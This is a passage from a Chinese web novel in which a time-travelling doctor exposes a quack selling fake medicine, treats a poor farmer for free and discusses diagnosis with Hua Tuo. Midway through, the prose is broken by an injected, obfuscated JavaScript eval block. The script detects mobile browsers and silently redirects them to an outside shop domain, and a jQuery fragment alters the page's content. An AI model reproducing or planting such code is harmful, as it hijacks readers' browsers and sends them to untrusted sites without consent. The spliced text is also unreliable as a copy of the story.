他说这几个字的时候，语气和说“今天的药要煎三碗水”没有任何区别。一样的平淡，一样的笃定，一样的天经地义。
但这句话落在地上，像一块石头砸进了池塘。
“听南风先生的”——从华佗嘴里说出来，就是当众宣布：顾湘的诊断是对的，李昌的诊断是错的。不是“她可能对”，不是“她说得有道理”。没有任何含糊的余地。
李昌的脸色从死灰色变成了青白色。他的嘴唇在抖，那两撇鼠须跟着一起抖，像两条毛毛虫在打架。他伸手指着华佗，手指抖得像风中的树枝：“你……你们串通好了！你们提前对好了词，专门来骗我！”
顾湘不怒反笑。她看着李昌，目光里没有愤怒，没有轻蔑，甚至没有同情。只有一种类似于医生在面对一个不可理喻的病人的时候，那种耐心而又无奈的平静。
“串通？”她说，声音不大，但院子里每一个人都听得清清楚楚，“李昌，这个人是你自己带来的。我们之前根本不认识他，连他叫什么名字都不知道。怎么串通？
她向前走了一步，目光直视李昌的眼睛。
“是你自己学艺不精，摸脉摸错了，诊断断错了，连病人的痰有没有臭味都没问清楚。”
她停顿了一下。
“你要学医，我欢迎。你来济世堂，我教你。但你打着行医的幌子卖假药、误人性命——这件事，我不管你什么来头，在我这儿，不行。”
最后两个字说得很轻，但很重。
周围的村民开始起哄。不是那种有组织的、整齐划一的嘘声，而是此起彼伏的、带着怒气的骂声。“滚出去！”“卖假药的骗子！我嫂子就是吃了你的药拉肚子拉了半个月！”“别脏了济世堂的地！”“你还欠我二叔三剂药的钱呢！”
声音从四面八方向李昌涌过来，像潮水一样。他带来的三个壮汉面面相觑，其中一个最先反应过来，悄悄地往后退了两步，把自己从“李昌的同伙”变成了“围观的群众”。另外两个对视一眼，也跟着退了。
李昌一个人站在院子中央，被一圈愤怒的村民围着。他的袍子下摆在风里轻轻地抖着——不是因为风，是因为他的腿在抖。他的嘴唇翕动着，像是想说什么狠话来挽回面子，但所有的狠话到了嘴边都变成了无声的翕动。
他灰溜溜地转身要走。
“等一下。”顾湘的声音从身后传来。
李昌的身体僵住了，像被人点了穴。他慢慢地转过头，脸上写满了“你还想怎样”。
顾湘站在那里，逆着光，脸在阴影里看不清表情，但她的声音清清楚楚地传了过来：“你腰间挂的那把小铜刀，是干什么用的？”
李昌愣了一下，下意识地低头看了看腰间那把装饰大于实用的铜刀，不明所以：“这是我的……工具。放血的工具。”
“放血用三棱针，不是铜刀。”顾湘说，“铜刀不锋利，放血的时候会撕裂伤口，增加感染的风险。”
李昌的嘴张了张，又闭上了。
“你走吧。”顾湘说，“但你要是再卖假药害人，我就不是今天这个态度了。”
李昌走了。他走的时候没有回头。他的背影在那件洗得发白的绸缎袍子里显得臃肿而狼狈。
他带来的三个壮汉早就不见了踪影。
院子里安静了下来。阳光重新铺满了地面，杏花的花瓣在风里飘啊飘的，有几片落在了顾湘的肩膀上。她没有去拂，只是深深地呼了一口气，把刚才那几分钟里积攒的情绪全部吐了出去。
她不喜欢那样。她不喜欢当众羞辱一个人——即使那个人活该。她不喜欢用“我比你强”来证明“你是错的”。但她也知道，在这个没有执照、没有监管、没有消费者权益保护法的时代，对付李昌这种人，这是唯一的办法。你不把他打趴下，他就觉得你怕他。他觉得你怕他，他就会变本加厉。
农夫没有走。他还站在那里，搓着两只粗糙的大手，像一株被风吹弯了腰的老树。他看看华佗，又看看顾湘，膝盖慢慢地弯了下去。
顾湘眼疾手快，一把抓住了他的胳膊。
“不许跪。”她说，声音不大但很坚决，“我说过多少次了，不兴这个。你的病要治三个月以上，不能干活，不能受凉，不能喝酒。药不能断，断了就会复发。三个月以后回来复诊。”
农夫被顾湘抓着胳膊，半弯着膝盖，姿势有点滑稽。他的眼眶红了，嘴唇哆嗦着，最后只说出了一句：“南风先生，我没钱。”
“不要钱。”
话已经出口了，收不回来。她不知道今天的药费够不够买明天的药材，不知道华佗会不会觉得她太大方了，不知道这个月的账本上又要多几个赤字。但她看着那个汉子的眼睛的时候，她没有办法说出“你要付钱”这四个字。
华佗站在旁边，听到“不要钱”三个字的时候，眼皮动了一下，但没有说什么。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641836|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
农夫的眼眶红了。他没有跪——因为顾湘一直抓着他的胳膊没有松手。他只是站在那里，嘴唇哆嗦了好久，最后用力地点了点头，转身慢慢走了。走的时候一步三回头，像是不敢相信这是真的。
她转过身，正好撞上华佗的目光。
“南风，”华佗说，语气还是那样不咸不淡的，但顾湘注意到他的声音比平时轻了一些，“你今天没摸脉。”
“我不会摸脉。”顾湘老实地说。在这个人面前，没有什么好隐瞒的。他不会因为她说“我不会”而看轻她，就像她不会因为他说“我不知道”而看轻他一样。
“那你怎么知道那个病人是肺痨，不是肺痈？”
“问诊。”顾湘说，一边走向诊室一边整理着袖口，“症状、病程、痰的颜色、有无臭味。肺痈的痰有臭味，量很大，像脓一样；肺痨的痰没有臭味，量不大，但经常带血丝。问清楚这些，八九不离十。”
她走到诊室门口，忽然停下来，转过身。
“但我不确定他是不是真的有痨虫感染。肺痨的症状和很多慢性肺病的症状是重叠的，没有显微镜，我没有办法确认。我能做的只是对症治疗——止咳、化痰、滋阴、补虚。如果真的是肺痨，这个方子不够强。如果不是，那还好。”
她说“显微镜”的时候，华佗的目光动了一下。他说：“你那个时代的医者，不用摸脉？”
“用。但我们更看重‘证据’。”顾湘想了想，怎么用一个他能理解的框架来解释现代医学的诊断逻辑，“望闻问切，四诊合参。问诊是第一位的。病人自己最清楚自己的感受，医者要做的，是把这些感受归类、分析、判断。脉诊是一种工具，但它不是唯一的工具，也不是最精确的工具。”
华佗若有所思地点了点头。他走进诊室，在那个空无一人的诊桌前站了一会儿，像是在想什么。
那天晚上，顾湘收拾完药房，准备熄灯的时候，无意间翻到了华佗放在桌上的病案本。她不是故意偷看的——是风吹开了本子，她走过去想合上，目光落在了那一页上。
最新的一行字，是华佗今天写的。墨迹已经干了，但笔锋沉稳有力，每一个字都工工整整：
“问诊之功，不亚于切脉。南风之言是也。”
顾湘盯着那行字看了三秒钟，然后轻轻合上本子，把油灯吹灭了。
黑暗中，她站在药房里，嘴角慢慢地、慢慢地弯了起来。